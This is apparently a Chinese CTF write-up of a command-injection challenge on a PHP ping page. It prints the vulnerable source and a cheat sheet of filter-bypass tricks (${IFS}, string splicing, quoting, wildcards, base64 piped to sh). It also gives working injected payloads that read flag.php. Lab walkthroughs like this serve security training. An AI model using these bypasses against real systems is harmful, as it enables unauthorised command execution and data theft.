打开环境,是如下页面

应该是让我们用get方法传一个参数ip,然后执行系统的ping命令,我们ls一下看看页面是如何回显的

有flag.php和index.php,直接访问不会有回显,猜测flag在注释里面,那我们cat一下flag.php

显示"fxck your space"……
应该是过滤了空格emm,那么我们先总结一下os命令执行的常见的绕过方法:
1,过滤空格:

过滤空格:可以用以下字符代替
<>
<
${IFS}
$IFS$1
{cat,flag.php}

2,过滤关键字或者一些纳入黑名单的敏感文件名:

黑名单	绕过:
拼接:cat test.txt  =  a=c;b=at;c=test;d=.txt $a$b $c$d 
base64编码:  `echo Y2F0IHRlc3QudHh0|base64 -d`
               echo Y2F0IHRlc3QudHh0|base64 -d|bash
               echo Y2F0IHRlc3QudHh0|base64 -d|sh
单双引号:ca''t tes""t.txt
反斜线:ca\t tes\t.txt
$符号:ca$@t te$9st.txt
cat等价替换:more less head tac tail vim等等……
通配符:
/???/?at ????.???
/???/?[a][t] ????.???

3,做长度上的限制:

长度限制 绕过:
(>是写入一个文件,但是内容会清空,>>是在文件末尾追加,\是换行符)
echo  "cat\\" > cmd
echo "tes\\">>cmd
echo "t.txt">>cmd
sh cmd

有了以上办法,它既然过滤了空格,我们用以下几种形式来代替

1: ?ip=1|cat${IFS}flag.php
2: ?ip=1|cat<>flag.php
3: ?ip=1|cat<flag.php
4: ?ip=1|{cat,flag.php}
5: ?ip=1|cat$IFS$1flag.php

前四种方法都是"fxck your symbol!",猜测是对特殊字符做了过滤,但是cao dan的是我们不知道过滤了啥

第五种方法可以!

没有fxck your space,space,而是fuck flag……
没事儿,既然能突破前两重限制,那应该离胜利不远了,尝试拼接法拼flag无果后,我们读一下index.php

?ip=1|cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

可以看到上面就是我们的过滤规则了,推荐一个调试正则的网站:https://regex101.com
我们已经突破前两重过滤,我们直接看最后一个带有flag的过滤规则就好

可以看到只要有flag出现就不可以,无论它们中间有多少字符,但是咧,不出现flag.php
出现f$a是不会触发正则的,我们可以用拼接法来拼接flag:

?ip=1;a=lag.php;cat$IFS$1f$a;


bingo!
当然还有以下三种解法
1,(看源码知道bash被过滤)我们用sh来代替进行base64编码

?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

2,反引号里面的字符串会被当作命令执行

?ip=1;`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`

3,反引号里面的字符串不仅可以被当作命令执行,命令执行的结果还可被当作输入

?ip=1;cat$IFS$1`ls`   等价于    cat flag.php index.php